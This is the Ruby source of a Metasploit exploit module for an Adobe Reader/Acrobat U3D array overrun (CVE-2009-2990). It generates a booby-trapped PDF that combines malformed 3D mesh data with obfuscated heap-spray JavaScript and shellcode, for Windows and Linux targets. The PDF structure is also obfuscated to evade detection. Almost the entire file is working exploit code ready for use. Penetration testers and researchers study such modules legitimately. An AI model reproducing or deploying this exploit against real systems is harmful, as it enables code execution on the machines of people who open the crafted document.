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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 | ## # $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun', 'Description'=> %q{ This module exploits an array overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a specially crafted pdf that a contains malformed U3D data, an attacker may be able to execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>', 'jduck' ], 'Version'=> '$Revision: 10394 $', 'References' => [ [ 'CVE', '2009-2990' ], [ 'OSVDB', '58920' ], [ 'BID', '36665' ], [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00", 'DisableNops' => true }, 'Targets'=> [ # test results (on Windows XP SP3) # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - untested # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.2 - works # reader 8.1.3 - works # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works [ 'Adobe Reader Windows Universal (JS Heap Spray)', { 'Index' => 0x01d10000, 'Platform' => 'win', 'Arch' => ARCH_X86, 'escA' => 0x0f0f0f0f, 'escB' => 0x16161616, 'escC' => 0x1c1c1c1c } ], # untested [ 'Adobe Reader Linux Universal (JS Heap Spray)', { 'Index' => 0xfffffe3c, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'escA' => 0x75797959, 'escB' => 0xa2a2a2a2, 'escC' => 0x9c9c9c9c } ] ], 'DisclosureDate' => 'Oct 13 2009', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops= Rex::Text.to_unescape(make_nops(4)) # prepare the pointers! ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch)) ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch)) ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch)) script = <<-EOF var nopz = unescape("#{nops}"); function mkSlice(stringy,size,rest){ while (stringy.length <= size/2) stringy += stringy; stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2); return stringy; }; function spray(escA,escB,escC,escShellcode){ var loop1; var pointersA = unescape(escA); var pointersB = unescape(escB); var pointersC = unescape(escC); var shellcode = unescape(escShellcode); pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length); pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length); pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length); nop_slide = mkSlice(nopz,0x100000, shellcode.length); var xarr = new Array(); for (loop1 = 0; loop1 < 400; loop1++) { if(loop1<100) xarr[loop1] = pointersA_slide+pointersA; else if(loop1<200) xarr[loop1] = pointersB_slide+pointersB; else if(loop1<300) xarr[loop1] = pointersC_slide+pointersC; else xarr[loop1] = nop_slide+shellcode; } return xarr; }; var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}"); this.pageNum = 1; EOF # Obfuscate it up a bit script = obfuscate_js(script, 'Symbols' => { 'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz }, 'Methods' => %W{ mkSlice spray } }).to_s # create the u3d stuff u3d = make_u3d_stream(target['Index'], "E" * 11) # Create the pdf pdf = make_pdf(script, u3d) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def obfuscate_js(javascript, opts) js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) js.obfuscate return js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def u3d_pad(str, char="\x00") ret = "" if (str.length % 4) > 0 ret << char * (4 - (str.length % 4)) end return ret end def make_u3d_stream(index, meshname) # build the U3D header (length will be patched in later) hdr_data = [1,0].pack('n*') # version info hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV') hdr = "U3D\x00" hdr << [hdr_data.length,0].pack('VV') hdr << hdr_data # mesh declaration decl_data = [meshname.length].pack('v') decl_data << meshname decl_data << [0].pack('V') # chain idx # max mesh desc decl_data << [0].pack('V') # mesh attrs decl_data << [0xc322].pack('V') # face count decl_data << [0x6226].pack('V') # position count decl_data << [0x24966].pack('V') # normal count decl_data << [0].pack('V') # diffuse color count decl_data << [0].pack('V') # specular color count decl_data << [0].pack('V') # texture coord count decl_data << [1].pack('V') # shading count # shading desc decl_data << [0].pack('V') # shading attr decl_data << [1].pack('V') # texture layer count decl_data << [0].pack('V') # texture coord dimensions decl_data << [0].pack('V') # original shading id # minimum resolution decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum) # quality factors decl_data << [0x12c].pack('V') # position quality factor decl_data << [0x12c].pack('V') # normal quality factor decl_data << [0x12c].pack('V') # texture coord quality factor # inverse quantiziation decl_data << [0x3f0b1e6c].pack('V') # position inverse quant decl_data << [0x3b6f05a6].pack('V') # normal inverse quant decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant decl_data << [0x3c2df54a].pack('V') # specular color inverse quant # resource params decl_data << [0x3f666666].pack('V') # normal crease param decl_data << [0x3f000000].pack('V') # normal update param decl_data << [0x3f7c28f6].pack('V') # normal tolerance param # skeleton description decl_data << [0].pack('V') # bone count # padding mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV') mesh_decl << decl_data mesh_decl << u3d_pad(decl_data) # build the modifier chain chain_data = [meshname.length].pack('v') chain_data << meshname chain_data << [1].pack('V') # type (model resource) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [1].pack('V') # number of modifiers chain_data << mesh_decl modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') modifier_chain << chain_data # mesh continuation cont_data = [meshname.length].pack('v') cont_data << meshname cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # start resolution cont_data << [0x1000].pack('V') # end resolution # 4096 continuation blocks cont_data << [index].pack('V') # split position index cont_data << [0].pack('v') # new diffuse color count cont_data << [0].pack('v') # new specular color count cont_data << [0].pack('v') # new text coord count cont_data << [0].pack('V') # new face count # unknown data cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76" cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f" cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00" cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44" cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00" cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8" cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20" cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d" cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00" cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53" cont_data << "\xe9\x10\x9d\x6b\x06\x00" cont_data << "\x50" # pad mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont << cont_data #mesh_cont << u3d_pad(cont_data) mesh_cont << "\xa2\x00" # manual padding data = hdr data << modifier_chain data << mesh_cont # patch the length data[24,4] = [0x2b680].pack('V') # hardcode the data length if index == 0x01d10000 #laziest hack ever! Another index must be found for using the following # stream in windows.. and a lot of tests shoul be done. return data end # linux version # build the U3D header (length will be patched in later) hdr_data = [1,0].pack('n*') # version info hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV') meta_str1 = "alalala0" meta_str2 = "\xa8" * 1024 hdr_meta = [1].pack('V') hdr_meta << [meta_str1.length].pack('v') hdr_meta << meta_str1 hdr_meta << [1].pack('V') hdr_meta << [meta_str2.length].pack('V') hdr_meta << meta_str2 hdr = "U3D\x00" hdr << [hdr_data.length,hdr_meta.length].pack('VV') hdr << hdr_data hdr << hdr_meta hdr << u3d_pad(hdr_meta) # mesh declaration decl_data = [meshname.length].pack('v') decl_data << meshname decl_data << [0].pack('V') # chain idx # max mesh desc decl_data << [0].pack('V') # mesh attrs decl_data << [0xc322].pack('V') # face count decl_data << [0x6626].pack('V') # position count decl_data << [4].pack('V') # normal count decl_data << [0].pack('V') # diffuse color count decl_data << [0].pack('V') # specular color count decl_data << [0].pack('V') # texture coord count decl_data << [1].pack('V') # shading count # shading desc decl_data << [0].pack('V') # shading attr decl_data << [0].pack('V') # texture layer count decl_data << [0].pack('V') # original shading id # no texture coord dimensions decl_data << [0x64].pack('V') # minimum resolution decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum) # quality factors decl_data << [0x12c].pack('V') # position quality factor decl_data << [0x12c].pack('V') # normal quality factor decl_data << [0x12c].pack('V') # texture coord quality factor # inverse quantiziation decl_data << [0].pack('V') # position inverse quant decl_data << [0].pack('V') # normal inverse quant decl_data << [0].pack('V') # texture coord inverse quant decl_data << [0].pack('V') # diffuse color inverse quant decl_data << [0].pack('V') # specular color inverse quant # resource params decl_data << [0].pack('V') # normal crease param decl_data << [0].pack('V') # normal update param decl_data << [0].pack('V') # normal tolerance param # skeleton description decl_data << [0].pack('V') # bone count # padding mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV') mesh_decl << decl_data mesh_decl << u3d_pad(decl_data) # build the modifier chain chain_data = [meshname.length].pack('v') chain_data << meshname chain_data << [1].pack('V') # type (model resource) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [1].pack('V') # number of modifiers chain_data << mesh_decl modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') modifier_chain << chain_data # mesh continuation cont_data = [meshname.length].pack('v') cont_data << meshname cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # start resolution cont_data << [0x100].pack('V') # end resolution # 256 continuation blocks cont_data << [index].pack('V') # split position index # unknown data cont_data << [1].pack('V') * 10 cont_data << "Feli" * 20 mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont << cont_data mesh_cont << u3d_pad(cont_data) data = hdr data << modifier_chain data << mesh_cont # patch the length data[24,4] = [0x174].pack('V') # hardcode the data length return data end def make_pdf(js, u3d_stream) xref = [] eol = "\x0a" obj_end = "" << eol << "endobj" << eol # the header pdf = "%PDF-1.7" << eol # filename/comment pdf << "%" << RandomNonASCIIString(4) << eol # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << obj_end # catalog xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4) pdf << nObfu("/Pages ") << ioRef(5) pdf << nObfu("/OpenAction ") << ioRef(8) pdf << nObfu(">>") pdf << obj_end # outline xref << pdf.length pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>") pdf << obj_end # kids xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [") pdf << ioRef(9) << " " # empty page pdf << ioRef(10) # u3d page pdf << nObfu("]>>") pdf << obj_end # u3d stream xref << pdf.length pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol pdf << "stream" << eol pdf << u3d_stream << eol pdf << "endstream" pdf << obj_end # u3d annotation object xref << pdf.length pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype") pdf << "/3D/3DA <</A/PO/DIS/I>>" pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>") pdf << obj_end # js dict xref << pdf.length pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end # page 0 (empty) xref << pdf.length pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") pdf << nObfu(" >>") pdf << obj_end # page 1 (u3d) xref << pdf.length pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") pdf << nObfu(">>") pdf << obj_end # xrefs xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end # trailer pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end |
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